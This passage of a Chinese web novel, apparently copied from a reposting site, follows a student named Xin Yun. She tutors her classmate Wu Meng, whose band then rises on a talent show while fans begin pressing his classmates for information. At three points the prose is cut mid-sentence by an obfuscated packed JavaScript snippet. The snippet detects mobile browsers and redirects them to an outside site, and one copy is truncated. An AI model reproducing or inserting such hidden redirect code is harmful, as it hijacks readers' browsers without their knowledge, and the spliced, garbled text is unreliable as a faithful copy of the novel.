辛蕴满意地点点头,说:“很好。不过你也不用太担心,根据我的经验来看,往年的真题中极少会出现计算太阳高度角的题目,就算有,大部分还是出现在选择题里,这样难度会大大降低,有时候题目刷多了,凭感觉都能猜出来是哪个答案。” 说起自己擅长的领域,再平凡的人看起来都会闪闪发亮。辛蕴当然更是如此,她的声音清润好听,语速不疾不徐,思路清晰有条理,尤其眉眼间的那种自信从容,让邬蒙不小心走神了好几次。 “你在想什么?”辛蕴盯着他有些发怔的侧脸。 “哦,没什么,在想刚才那道题。”邬蒙回过神来,将那本地理图册合上,语气平静地说:“这个问题我暂时搞懂了。”他又拿出一本数学习题册,问:“你能帮我讲讲这道题吗?” 辛蕴低头看一眼,说:“当然可以。” 她能看出来邬蒙明显是提前做了一些功课才来向她请教的,他问她的问题基本上都是一些难点和重点。 在辅导邬蒙的过程中,辛蕴有些意外地发现——邬蒙其实并不像后排的其他差生那样脑子里少根筋。相反,邬蒙相当聪明,即使他平时几乎不怎么来上课,但很多东西她简单地解释两句他立刻就能明白。 以前辛蕴不知道听谁偶尔提过一嘴,说邬蒙是自己考进一中的,当时她还将信将疑,现在却没有半点怀疑了。 总的来说,辅导邬蒙是一个相当有成就感的事情,因为总是能及时得到正向的反馈。 时间过得很快,就这么紧锣密鼓地过了大半个月。 期末考那天,南城市的温度罕见地达到了三十五度,整个城市仿佛变成了一个巨大的蒸笼。 下午五点半,考完最后一门文综,辛蕴从教学楼走出来。 夏天的太阳总是落山很晚,此刻天光还大亮,落在皮肤上的阳光几乎有些灼热。 她背着书包走出校园大门,拐进旁边的一家便利店里。 店里此时正放着一首轻快的钢琴曲,很符合辛蕴此刻的心情。 这个学期已经结束,她马上就要拥有一个漫长的假期了。 整整两个月可以由她自己支配的时间,这个世界还有比这更美妙的事情吗? 辛蕴嘴里哼着歌,绕到了冷气充足的饮料区,挑了一瓶青柠味的水溶C。付完款,她拿出手机,给邬蒙发了一条消息—— 【你考完了吗?】 辛蕴本来以为那边要隔一会儿才能回,没想到对话框上面很快就显示——“对方正在输入中……” 【考完了,现在出发去卖唱。】 后面还配上了一个可爱的哭哭表情包。 辛蕴眼里溢出点点笑意,她把输入框里的【要不要一起去吃点绿豆汤】删除,重新打下【okk,你忙。】 那边飞快地回复——【好的。】 辛蕴正要结束对话,想了想,又发过去一句——【明天下午一起去图书馆吗?】 那边再次回道——【好的】。 辛蕴没再回复,她盯着屏幕上两人的对话,嘴角不受控制地上扬。 这大半个月以来,她和邬蒙几乎每天都会一起学习。邬蒙进步神速,简直超过辛蕴的想象。 期末考试的结果要过几天才能出来,但辛蕴现在已经迫不及待看到邬蒙的成绩了。 这些天南城市的温度一路飙升,天气预报的温度预警几乎天天飘红。 对于怕热的人来说,夏天是个不那么友好的季节,可要让辛蕴去选一个最爱的季节,那她的答案毋庸置疑还是夏天。 这是一个生命力旺盛的季节,生活在夏季,总莫名让人觉得充满希望。 暑假第一天,辛蕴难得地睡了一个懒觉。 中午十二点,她吃过午饭,简单地收拾了一下,背着书包就要出门。 “不是刚考完试吗?怎么不休息两天?”吴咏梅正在给阳台上那些蔫头搭脑的花花草草浇水,看到辛蕴要出门,她有些惊讶地问:“外面太阳这么大,你怎么这个时候出门?” 辛蕴之所以挑这个时候也是没有办法——邬蒙每天晚上都要工作到凌晨, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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听到声音,邬蒙转头看过来,看到她的脸,他眼睛一亮,冲她笑道:“你想喝什么?” 辛蕴走到贩卖机前,看了一眼,说:“和你一样吧。” “行。”邬蒙伸手去按贩卖机上的按键,付了款。“哐当”、“哐当”两声,两罐冰可乐从贩卖机里滚落下来。 他弯腰从出货口捡起两瓶可乐,递了一罐给辛蕴。 图书馆里的冷气很足,两人坐在大厅的座位上,透过落地玻璃窗看着外面那个耀眼的夏天。 邬蒙抬起一只手,用手腕上的腕带擦去额头上滚落的汗珠,另一只手的拇指和无名指轻轻捏住可乐罐,食指微微用力,“啪嗒”一声,可乐罐被打开,有细微的气泡声蹦出来。 辛蕴收回目光,看着自己手里的那罐冰可乐,正要打开。 “对了,有件事要和你分享一下。”邬蒙欢快的声音从旁边传来。 辛蕴转头去看。 “今天节目组又给我发消息了。” 辛蕴愣了一下,“啪嗒”一声,食指无意识地用力,手里的那罐冰可乐毫无征兆地被打开,有气体从里面蹦出来,罐口溢出来一点可乐。 她急忙从口袋里拿出纸巾去擦。 耳边是少年充满无限希望和向往声音—— “节目组说有个乐队中途退出了节目,希望我们可以补上去。还说要和我们乐队签约,只要签了约,他们就可以保证我们乐队能出道。明天下午我们四个就要重新出发去杭城了。” 29. 第 29 章 邬蒙离开的第六天,辛蕴收到了这次期末考试的成绩。 点开成绩表的那一瞬间,她不自觉地屏住呼吸。 视线飞快地扫过第一行,确认自己的名字在那里。 辛蕴甚至没有来得及去看自己的总分和各科分数,视线一路下滑,找到了那个熟悉的名字—— 邬蒙考了全班第二十八名,总分四百九十多分。 对于一个几乎没怎么认真上过学的人来说,这是一个相当不错的成绩了。 辛蕴松了一口气,视线上移,飞快地扫了一眼自己的总分——六百八十八,各科分数也没有明显拖后腿的。 刚才她的心就像是一颗绑着石头的气球,现在那块石头忽地被挪开,辛蕴的心重新灌满了快乐的气息,轻盈地飘向湛蓝的天空。 她点开微信,下划对话框,找到了邬蒙的头像。 邬蒙的头像是一个吉他的简笔画,白色的背景,黑色的线条,干净简约,寥寥几笔就勾勒出了一个吉他的形状,看起来颇有点极简主义的冷酷和神秘,可仔细去看,那些线条笔法粗糙稚嫩,又很像是儿童随手的涂鸦之作。 和他的头像相比,邬蒙的微信名要显得朴实无华很多——“阿蒙”。 他们这个年纪的人,好像很少有人会用自己的真名做微信名。 辛蕴第一次看到邬蒙的微信名的时候,目光也在那两个字上多停留了一会儿。等到心头的那一点疑惑和意外散去,转念一想,又觉得很正常。 因为邬蒙这个人浑身上下都散发着一种不用刻意伪装的酷感。 他扮酷耍帅的时候,别人当然觉得他很酷。他放下包袱松弛感十足的时候,别人反而觉得他这样更酷。 总之,长着一张帅脸,又弹得一手好吉他,酷就是邬蒙的宿命。 辛蕴点开对话框。 两人上次的对话停留在两天前。 那天辛蕴在图书馆的自习室里待了一整个下午,从自习室走出来的时候,太阳刚要落山,她站在图书馆前准备打车回家,一抬头,看到远处的湖面上方悬挂着一轮橙黄色的夕阳。 那一方天空被映得通红,漂浮在天际处的云被晕染成了粉紫色,像是古典主义大师笔下的油画,每一处细节每一处色彩都恰到好处,绚烂到了极点。 辛蕴被那种美深深震撼,站在那里几乎挪不动脚步。 她拿出手机拍下照片,几乎没有经过思考就把那张照片发给了邬蒙。 照片是傍晚六点半发的,邬蒙是凌晨十二点多才回的消息。 他没有发文字,只是回了一个“哇”的惊叹表情包。 辛蕴盯着那张表情包看了许多,一种失落的情绪在心头蔓延。 她当然明白邬蒙肯定是因为太忙了所以才没有空及时回复她的消息。 可辛蕴就是没有办法克制自己低落的情绪。 后面的几天,她没有再发消息给邬蒙。倒不是因为记恨他上次没有及时回复。而是辛蕴在想——邬蒙那么忙,她不能总是没话找话的去打扰他。 可这种理智和后撤更像是一种自欺欺人,倾诉欲和分享欲憋久了,反而变成了一种酸酸涩涩的情绪。 尽管辛蕴知道她没有任何立场对邬蒙生出这样的情绪。 现在看着手机里的那张成绩单,辛蕴的心又开始蠢蠢欲动起来。 讨论一下期末考试的成绩,应该不算是没话找话吧? 她想了想,在输入框打下一行字——【在吗?】 打完,又删掉,再打下一行字——【晚饭吃了吗?】 想了想,还是觉得不好,琢磨再三,最后打下【你看到成绩单了吗?】,鼓起勇气,点了发送键。 相比前几次隔了很长时间才回,这次邬蒙回消息的速度很快,大概过了两分钟,他发过来一句——【刚刚看到你的消息才去看的。】 史振邦把成绩单发在了他们班的□□群里,要不是辛蕴提醒,邬蒙确实想不到去看成绩单。 看到对话框里跳出来的那行字,辛蕴眼睛一亮,一下子从床上坐了起来。 她捧着手机,手指飞快地打着字——【你这次进步好大。】 邬蒙那边回了一个害羞的表情,然后又发了一张照片过来。 辛蕴点开那张照片。 照片应该是一个舞台的后场,周围搭满了各种脚手架,旁边的座椅上堆满花花绿绿的演出服,一束射灯晃过,照片上的每个人都是一副神色匆匆的模样。 辛蕴还没来得及回复点什么。 邬蒙那边又发过来一条消息,一条语音消息。 这是他第一次给她发语音消息。 辛蕴心跳得飞快,点开去听。 “马上轮到我上场啦!” 少年压抑不住兴奋的声音从手机听筒里传过来。 一瞬间,辛蕴仿佛被那声音带到了几百公里以外的地方——五光十色的舞台,耀眼夺目的演出服,动感的韵律节奏,还有漫天纷飞的彩带,舞台下人群的高呼和喝彩。 像是脑海中飘过了一张张绚烂又不真实的幻灯片。 她的心好像也跟着他一起变得激动和紧张。 【加油。】 辛蕴郑重地打下两个字发了过去。 对面没有再回复。 辛蕴放下手机,躺倒在床上,胸膛里的那颗心跳得飞快,目光却怔愣地盯着天花板发呆。 在辛蕴原先的设想中,这个夏天应该会在她的记忆里留下浓墨重彩的一笔。关于这个夏天,她有过很多具有罗曼蒂克色彩的幻想。 都说人是活在无数个“一瞬间”当中的,夏天足够漫长,漫长到可以让辛蕴填进去很多个美好的“一瞬间”。 但现在她却发现这个夏天苍白又短暂,像是一页仓促的笔记,一阵风吹过,很快就翻页了。 她没有拥有很多美好的“一瞬间”,反而要对面很多枯燥的、成块状的一整段时间—— 上午去补习班,下午去图书馆,晚上回家吃饭睡觉。 辛蕴给自己安排了很多课外补习班,除了晚上会早点回家睡觉之外,她和之前上学的时候几乎没什么两样。 吴咏梅中途和几个小姐妹一起去国外旅游了两周,之后也是一如往常全心全意地照顾辛蕴的起居。 生活还是这样枯燥无趣,没有丝毫波澜。 两个月很快就过去了,很快就到了八月末。 在这两个月中间,辛蕴和邬蒙很少再联系。 邬蒙很忙。辛蕴只能让自己更忙,才能控制自己不去想他。 但她还是会经常听到别人谈论起邬蒙。 正如邬蒙那天所说,和节目组签约之后,现在他们那支乐队果然在那个节目里多了很多镜头。 在最新一期播出的节目里,他们那支乐队看起来很有希望拿到最后出道的几个名额之一。 节目组给他们的定位很明确——初生牛犊不怕虎的高中生乐队,并且还给乐队中的每个人都做了不一样的人设。 凭借着别具一格的title和人设,邬蒙他们在一众专业乐队里脱颖而出,虽然专业能力比不上某些老牌乐队,但他们也在互联网上收获了不少关注和支持。 邬蒙现在算是他们那支乐队的门面,也是四个人当中关注度最高、人气最高的ACE。 大大小小的营销号开始发他的一些真真假假的信息,微博上他的粉丝数量慢慢变多,甚至有粉丝团开始组织粉丝在他发的微博底下控评安利。 这种现象从互联网渐渐蔓延到现实生活,邬蒙的名字开始被很多人提及。 就连一向不关注娱乐圈八卦的吴咏梅都在一次晚餐时提起:“蕴蕴,你们学校最近是不是出了一个小明星?我今天打牌的时候听到别人说起来这个事,好像他就在你们三班,是你们的同班同学,是不是?” 辛蕴低头夹起一筷子米饭塞进嘴里,闷声说:“好像是,没有太关注。” 吴咏梅连连啧声,叹道:“真是好命,我听说现在那些明星可赚钱了,就连一个普普通通的小明星赚得也比科学家还多。那小孩这么小就当上明星了,他爸爸妈妈不得开心死?一辈子都不愁吃不愁喝了。” 辛蕴没说话,只是慢慢地嚼着嘴里的米饭,等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832050|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咽下去,她又拿起旁边的一杯橙汁,不紧不慢地喝下了大半杯,站了起来,说:“妈,我先回房间写作业了。” 聊八卦当然没有辛蕴的学业重要,吴咏梅连连点点头,说:“好,好,待会儿妈给你送点水果。” - 高二开学那天,三班外面围了很多陌生的面孔。 史振邦板着一张脸走进教室,让班上的同学把靠近走廊的几扇窗户全都关上。 隔绝了外面的嘈杂和打探的目光。 他站在讲台上,看着教室里的同学,清了清嗓子,说:“我相信在过去的这个夏天里大家也都听说了邬蒙同学的事情。他现在也大大小小算是一个公众人物了,他的那些粉丝朋友不知道从哪里得来的消息,知道了他是我们班的学生,所以天南地北地过来围观拍照。” “我已经跟学校的保安处那边说过了,让他们以后千万不能放没有证件的社会人士进校。外面的社会人士鱼龙混杂,你们千万要注意防范。什么‘明星’、‘粉丝’,这些都和你们没关系,你们该怎么样就怎么样,不要觉得自己有一个明星同学就怎么样了,更不要因为这个打乱了自己的心态和学习节奏,知道了吗?” 底下响起一阵稀稀拉拉的声音——“知道了。” 不知道是谁在底下喊了一声——“那邬蒙同学什么时候回来?” 这话一出,底下的同学们都开始尖叫和欢呼。 窗外那些窥探的人似乎是听到了里面的声音,也开始跟着尖叫。 “安静!”史振邦板着一张脸,拿着三角尺重重地拍了一下讲台。 白色的粉笔灰腾起一阵雾。 “他以后回不回来还不一定呢!就算回来了,也不一定会在这个教室里跟你们一起上课了。”他抬高了声音,似乎故意要让外面那些人听到。 “啊……”教室里和走廊里同时响起失望的声音。 史振邦从口底里掏出一张A4纸,重重地拍在讲台上,目光凌厉地扫过每一个同学的脸,冷哼了一声,说:“还好意思跟我‘啊’,上个学期你们考的什么成绩你们自己心里没数吗?” 底下本来还在哀嚎的那些同学马上缩起脖子变成了鹌鹑。 “老规矩,开学第一天,我们先来说一下上学期期末考试的成绩。成绩单我之前已经放在群里了,我相信你们也都看见了。”史振邦的脸绷得很紧,声音里带着讽刺,说:“不出我所料。这次期末考,我们班同学依旧很给力,还是稳坐年级倒数第一。” 话音未落,教室里的同学噤若寒蝉,外面走廊里的人却已经忍不住笑出声来。 史振邦脸色铁青,拉开门,朝外面高声喊了一声:“你们是什么人?年纪轻轻不用工作不用上学吗?再围在这里不走,我就喊保安过来抓人了!” 外面的人一哄而散。 史振邦转过身来,继续教育班上的同学。 “这次你们不仅没有丝毫进步,班级平均分还比倒数第二名低了整整二十分!这简直是匪夷所思……” 史振邦的声音渐渐沦为一阵模糊的背景音。 辛蕴坐在最后一排,看着窗外那棵玉兰树发呆。 心里想着的都是刚才史振邦说的那句话—— 邬蒙以后真的不会再回来上课了吗? 两个月前的那个夏天,他们还坐在这棵玉兰树下一起谈论着未来,她还在想怎么帮邬蒙补上漏下的那些课业。 可现在他们竟然连同学都要做不成了。 人的境遇竟然真的会在短短两个月内发生如此大的变化吗? 湛蓝的天空中划过一道黑色的弧线。 她抬头去看。 一只叫不出名字的小鸟扑扇着翅膀朝远处飞去。 辛蕴的视线不由自主地追随着那只小鸟,一直到她再也看不见的天际处。 “辛蕴?” 史振邦的声音把她拖回到现实世界。 辛蕴抬头看过去。 史振邦站在讲台上看着她,他脸上的表情没有了刚才的疾言厉色,甚至算得上温和。 “你出来一下。”他说。 30. 第 30 章 辛蕴跟着史振邦来到了三班外面的走廊里。 刚才还围在这里的那些人被史振邦凶了一顿都跑了,此刻走廊里空空荡荡的,隔壁班老师讲课的声音透过窗户隐隐约约地传了过来。 阳光穿过廊檐斜斜地打在两人的脸上。 辛蕴被那刺眼的阳光照得有些睁不开眼睛。 站在她对面的史振邦面色和煦,一个暑假没见,他似乎圆润了不少,满脸的汗水被太阳一晒化作了锃亮的油光。 “辛蕴,我想了一下,这学期你还是换到前面的座位来吧,后面那地方太吵了,很影响你学习。” 辛蕴一愣。 这个问题两人之前不是已经讨论过一次达成共识了吗?史振邦怎么又重新提起来? 她摇摇头,说:“不用了,史老师,我坐后面挺好的。” 辛蕴直接果断的拒绝让史振邦脸上的笑容变得有些僵,他眉头微皱,说:“这不是你觉得好不好的问题。你也知道,现在邬蒙变成了一个公众人物,你继续和他当同桌,到时候肯定会对你造成影响的。” 造成影响?什么影响? 看到辛蕴脸上露出疑惑的神情,史振邦的声音放低了一些,语气有些犹疑,似乎不好说得太直白:“你不知道那些粉丝有多吓人,也不懂她们是怎么混进我们学校的,围在我们三班教室外面偷拍还不够,暑假的时候竟然还找到了我们班的班群,在里面加了好几个我们班的同学,说要给他们送礼物换邬蒙的各种信息。要不是有人偷偷告诉我了,我根本都没想到她们还有这一招。” 他叹了一口气,继续道:“老师知道你是个品行端正的好学生,跟邬蒙也没太多交集,但是外面的那些粉丝可不管那些,你继续和邬蒙做同桌,用不了几天,她们肯定会过来打扰你的。你远离邬蒙,就是远离风暴中心。知道了吗?” 听到史振邦这么说,辛蕴陷入了一阵长久的沉默。 如果她继续和邬蒙当同桌,到时候他的那些粉丝真的会过来找她吗?她们又会问她什么样的问题呢? 打探邬蒙喜欢什么样的女孩子?问邬蒙有没有女朋友?还是她们只是单纯地想要了解有关于邬蒙的一切——他喜欢吃什么喝什么,喜欢什么颜色,又喜欢做什么运动? 辛蕴突然发现自己好像根本答不上来这样的问题,对于邬蒙,她其实知之甚少。 这些乱七八糟的念头在她脑海中飞快地闪过,辛蕴觉得自己的心被一种奇怪的情绪牵引着。 见她不说话,史振邦又开口道:“而且后排本来就吵,即使你成绩再好再自律,坐在那里总归是会受到影响的。我知道上个学期班里可能发生了一些不愉快的事情,导致你不愿意和其他的同学做同桌,但是一个学期都结束了,同学之间的小摩擦,该过去的就让它过去吧。你坐到前排去,不管是听课还是看黑板都方便很多。” 辛蕴抬眼去看。 史振邦的鼻尖上冒着油光,被额头上滑落的汗水一冲,一滴浑浊的混合物,悬在鼻尖上,下一秒就要滴下来似的。 史振邦的话都已经说到这个份上了,她好像没有办法再开口拒绝。 “好的,史老师。”她最终还是点头妥协了。 看见自己的一番苦口婆心没有白费,史振邦脸上露出满意的笑容,他抬手擦去鼻尖上的那滴水油混合物,说:“那好,待会儿我会把新座位表贴出来。你先进去吧。” 辛蕴点点头,正要转身走进教室,想了想,又顿住脚步,转头看着史振邦,问:“史老师,邬蒙以后还会回来上课吗?” 史振邦笑了笑,像是在笑她的天真。 “当然要回来的。我刚才那些话是专门说给门外面的那些粉丝听的。不管邬蒙再厉害再有名,他到底还是一个高中生,他的学籍在一中这里,以后肯定还是要回来参加高考的。” 辛蕴捏紧的手心微微放松,她点点头,“哦”了一声,转身迈进了教室。 过了大概十多分钟,史振邦拿着一张A4纸走了进来,小心翼翼地把那张纸贴在黑板旁边的布告栏里,严丝合缝地覆盖住上一学期的座位表。 贴完了,他用湿抹布擦了擦指尖沾到的胶水,看着讲台下的众人,道:“这是新学期的座位表,下一节课开始之前你们把位子换好。” 说完,他把抹布扔到讲桌上,抬脚离开了教室。 一瞬间,大家全都挤到了布告栏前,争着要看自己的新座位。 教室上方尖叫声和哀嚎声不断,有人分到了心仪的座位和心仪的同桌而满脸喜色,也有人明显对这张新座位表不甚满意而苦着一张脸,还有人夹在中间乱起哄的。 辛蕴没有急着去看自己的座位排在了哪里,而是面色平静地收拾起了课桌。 不像班里的其他学生喜欢把书和资料都留在教室的课桌肚子里,辛蕴每天上课只带当天需要的东西,所以她收拾起来动作也很快。 在离开这个她坐了一个学期的座位之前,辛蕴转头看了一眼自己旁边的那个空位置。 邬蒙不常来学校,他的课桌上堆满了老师发的资料和试卷,即使过了一个暑假,那些空白的资料和试卷还是完好无损地摆在那里,表面积了一层厚厚的灰。 他的课桌抽屉肚子里塞满了各种乱七八糟的小礼物和五颜六色的信件,满满当当的,几乎要溢出来,也不知道是什么时候塞进来的。 辛蕴收回目光,背上书包,抱着一摞书走到布告栏前。 最初的新鲜劲过去了,此刻挤在布告栏前的那些人已经散开,辛蕴瞥了一眼,发现自己被排在了第三组的第三行。 教室里最中间的黄金位置。 她循着位置走过去。 原本坐在那里的是三班的历史课代表宋朵朵,此刻她正黑着一张脸在收拾东西,抬眼见辛蕴已经抱着东西站在旁边等着,她翻了一个白眼,把手里的几本资料重重地砸在课桌表面。 “砰”的一声,那声音把周围的人都吓了一大跳。 宋朵朵也不理会周围看过来的目光,更没搭理旁边的辛蕴,她自顾自地继续收东西,动静弄得震天响。 辛蕴也不着急,安静地站在旁边等。 宋朵朵整理了一半,抬眼去看辛蕴,语气极其烦躁地说:“要不直接换桌子吧,我东西多,搬来搬去的麻烦死了。” 这种小事辛蕴也懒得费唇舌,便道:“好。” 她折回去,把手里的书重新塞进自己的课桌抽屉里,两只手握住课桌两边,吃力地把桌子搬到了宋朵朵旁边。 宋朵朵却坐在那里没动。 辛蕴被晾在那里,有些尴尬,正要开口提醒。 “我帮你吧。”旁边传来一个声音。 辛蕴转头去看,是宋朵朵的同桌潘青昀,也是她未来的新同桌。 辛蕴对这个男生没什么特别的印象,只是依稀记得对方的皮肤很黑,还总是咧着嘴笑,显得牙齿很白很整齐的样子。 听到潘青昀这么说,宋朵朵的脸色更不好看了,她转头瞪了他一眼,有些阴阳怪气地说:“哟,这么巴不得我走呢。” 潘青昀笑着打圆场:“说什么呢,你再不搬马上就要上课了。”他站了起来,利索地抱起宋朵朵的课桌。 但宋朵朵抽屉里的东西实在太多了,他一时没有掌握好力度,课桌一个歪斜,差点要倒在地上。旁边的辛蕴眼疾手快地托了一把,潘青昀这才堪堪站稳,有些后怕地看了一眼自己的脚。 “谢谢你。”他冲辛蕴露出一个笑。 “真没用,搬个桌子都搬不稳。”宋朵朵挤开辛蕴,抱着一箱子书跟在潘青昀后面。 辛蕴有些无语,她费力地把自己的课桌推进去,又把书包里的东西拿出来重新整理。 上课铃声很快就敲响了。 潘青昀脚步匆匆地赶回来。 辛蕴站起来给他让路。 “谢谢。”对方冲她露出一个灿烂的笑容,客气道:“以后多多指教啊。” 辛蕴抿抿唇,冲对方淡淡一笑,说:“多多指教。” - 高二的晚自习时间比高一延长了半个小时。 辛蕴晚上回到家洗漱完已经是夜里十一点多了。 她没有像往常一样立刻坐到书桌前学习,而是躺在了床上,拿着手机,点开了那个名为《热血音浪》的综艺。 在今天晚上八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832051|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点半更新的最新一期节目里,邬蒙他们那支名为“放学后作战”的乐队在和一支圈内老牌乐队“噪音罐头”的PK中获得了胜利。 虽然晚自习上课的时候辛蕴已经通过周围人的议论知道了这个比赛结果。但此刻看到屏幕里对方乐队的精彩表演和导师的犀利点评,再加上节目组刻意营造的悬念气氛,辛蕴还是忍不住为邬蒙的那一支乐队捏了一把冷汗。 好在,最后主持人还是宣布“放学后作战”乐队以两票的微弱优势取得了最终的胜利。 听到这个结果,辛蕴和屏幕里那个满头大汗的少年同时露出了一个如释重负的笑容。 她关掉节目,打开微博,在搜索栏那里点开邬蒙的名字。 邬蒙的粉丝数比昨天又多了两万,最新一条微博底下的评论已经有五千多条了。 这些数据对于一个流量明星来说根本不算什么,可邬蒙不过是一个还没出道的综艺节目里的小选手。对于他来说,这已经相当了不起了。 辛蕴点开那条微博,按照时间倒序,一一查看那些评论—— “弟弟太帅了吧!!!弹吉他的样子看得姐姐我春心萌动!!!” “啊啊啊啊啊你唱歌好好听!!台风真的好棒!!!” “啊啊啊啊啊随便一拍都这么帅!!!!” “加油!!!继续努力!!!你一定可以带着你们乐队出道的!!!” 其中一条评论吸引了辛蕴的注意—— “哥哥勇敢飞,乌梅永相随。” 乌梅?那是什么? 又往下翻了几条,又看有粉丝在发—— “哥哥,喜欢乌梅这个名字吗??!!” 辛蕴想了想,点开搜索栏,在上面打下“邬蒙的粉丝名称”这几个字。跳出来的第一条热门微博竟然是一个红V账号发起的投票—— 【啊啊啊啊啊我们帅气的吉他手弟弟阿蒙终于被发现了!!!老母亲流泪!!!第一期节目的惊鸿一瞥我就发现这个宝藏少年了!!!弟弟现在没啥粉丝,呜呜,不过以后等弟弟红起来了,在座的各位就都是元老级粉丝了!话不多说,我们先来投票选个粉丝名吧!!!】 1.乌梅(虽然谐音梗扣钱,但是……我们都是邬蒙的妹妹!) 2.梦里人(依旧谐音梗,我们都是邬蒙的人!邬蒙的兵!哈哈哈哈……) 3.Q.Q糖(因为我们阿蒙实在太喜欢吃Q.Q糖了,在节目里看到他随身携带Q.Q糖!) 4.小鲸鱼(阿蒙在节目里说很喜欢鲸鱼!) 5.狂战士(阿蒙的拿手英雄哈哈哈哈哈!听起来战斗力很强的样子!) 辛蕴把那几个选项一一浏览了一遍,又翻开这条投票下面的评论。 “哪个好人家的小姑娘起个‘狂战士’的名啊,呜呜,人家不要,人家不要选这个!你们要是投这个我就哭给你们看!!!” “‘梦里人’不要太土了,土到阿蒙自己念出来都会笑场的程度,拜托各位了,千万别叫这个了。” “小鲸鱼?是不是和其他明星的粉丝名字重合了?算了吧,弟弟还没出道,我们只是小虾米,千万不能碰瓷,不然只有被别人吊起来打的份。哭~” “叫Q.Q糖会不会侵权啊,担心。” “又不是叫米老鼠、唐老鸭,怎么会侵权?我看旺旺老板人很好,肯定不会像某迪的律师天团那样全球追着告侵权(没有说某迪不好的意思sorry~” 辛蕴仿佛能通过这些鲜活的文字感受到那些粉丝的语气和神态,她嘴角忍不住上扬,眼里溢出笑意,只觉得这些女孩子简直是太可爱了。 选什么好呢? 辛蕴思考了片刻,有些私心地点了“□□糖”这个选项。 结果当然已经是注定的——投“乌梅”这个选项的粉丝是最多的。 所以以后邬蒙的粉丝就叫“乌梅”了? 辛蕴把这两个字在舌尖过了几遍,觉得有些新奇有些好笑。 她笑了一会儿,刚要按灭手机,准备去学习。 手机屏幕上突然跳出一个Q.Q的弹窗—— 【您有一个新的好友申请。】 31. 第 31 章 辛蕴点进那个好友申请。 那是一个陌生的账号,头像和名字她都不认识,但对方发过来的验证消息里却写着她的名字—— 【辛蕴同学,加个好友呗。】 辛蕴有些疑惑。这是谁?为什么知道她的名字? 她犹豫了一下,点了接受。 刚点完,对方立刻就发过来一条消息:【你好呀,宝。】 辛蕴皱皱眉,回道:【你好,请问你是?】 那边一直显示在输入,可直到屏幕暗下去,对话框里还是一直没有跳出来新消息。 辛蕴等得有些不耐烦,正要把手机放到一边,手机屏幕突然亮了起来,她低头去看—— 【辛同学,你好,我叫小七。咱俩能交个朋友吗?我没有什么别的意思,就是单纯地想和你交个朋友。拜托拜托,千万不要拒绝我哦。】 后面还跟着一个撒娇卖萌的表情包。 辛蕴一愣,觉得有些莫名其妙。 看对方的语气应该是个女孩,年纪应该也不大。 她点进去对方的头像,简介资料里果然写着——“女十七岁”,IP属地是帝都。 一个陌生的帝都女孩要跟她做朋友? 辛蕴有些困惑,不知道该怎么回复。 突然,一个念头在她脑海中飞闪而过—— 难道……这个女孩是邬蒙的粉丝?她为了邬蒙而来的吗? 除此之外,辛蕴没有别的理由去解释这个奇怪的好友申请。 这么说白天史振邦对辛蕴说的那些话一点都没有夸大?邬蒙的那些粉丝真的会想尽各种办法来接近他的同学好打探他的消息? 辛蕴低头看着对话框里两人的对话。 她的第一反应其实是有些被冒犯到的不适感。 对方不知道从哪里打听到了她的全名,但却不肯告知辛蕴她自己的全名,只用一个简单的昵称“小七”代替。这表示对方有所保留,虽然她的语气看起来很友好,但内心其实并不真诚。 而且这种被刻意接近的感觉本身就令人不快,这让辛蕴本能地有些排斥。 可另一方面,辛蕴也不清楚自己的这些情绪是不是因为她对邬蒙的……私心。如果是这样,她未免有些不坦荡了。 一时间她的心情有些复杂。 不管怎么样,对方已经表现出了足够的友好,那她好像也不应该表现得太冷淡。 辛蕴想了想,也不点破对方,只是礼貌地回道——【你好。当然可以啦。】 那边很快就回了消息过来:【真的吗?!那简直太好啦!你现在在干嘛呢?】 对方有这个耐心跟她套近乎,辛蕴可没空陪对方闲聊。刚才她抽出一个小时来看综艺节目已经是极大的奢侈了,现在当然不能再浪费宝贵的学习时间去和对面那个叫“小七”的女孩子闲聊。 辛蕴回道:【我正在写作业。】 对面也很识趣:【哦哦,这样啊,那你忙吧,我明天再找你。】 辛蕴回了一个【好的】,按灭手机,坐到书桌前,拿出白天没写完的英语试卷继续写。 房间里安静得只能听到钟表走动的声音。 新打印出来的试卷散发着油墨的香味。 她看着试卷上那些密密麻麻的字符,越看越觉得有些心烦意乱。 - 第二天早上到学校,走进教室,辛蕴习惯性地就要抬脚往最后一排走。 “副班长,这里!”有人在喊她。 辛蕴转头去看,看到潘青昀正咧着嘴冲她笑,他一边笑一边冲她招手,简直热情得有些过分。 辛蕴反应过来,急忙调转了一个方向,到了座位上,她放下书包。 “早。”潘青昀和她打招呼。 辛蕴点点头,笑得有些不好意思:“早。” 她没有多说什么,拿出昨晚整理出来的英语生词,正要开始背单词。 旁边的潘青昀不知道从哪里掏出一张试卷,指着上面的一道题,问:“副班长,你能帮我看看这道题是怎么解的吗?” 辛蕴转头去看,潘青昀手里拿着一张皱巴巴的试卷,她眯着眼睛仔细去分辨,看出那是数学老师布置的暑假作业。 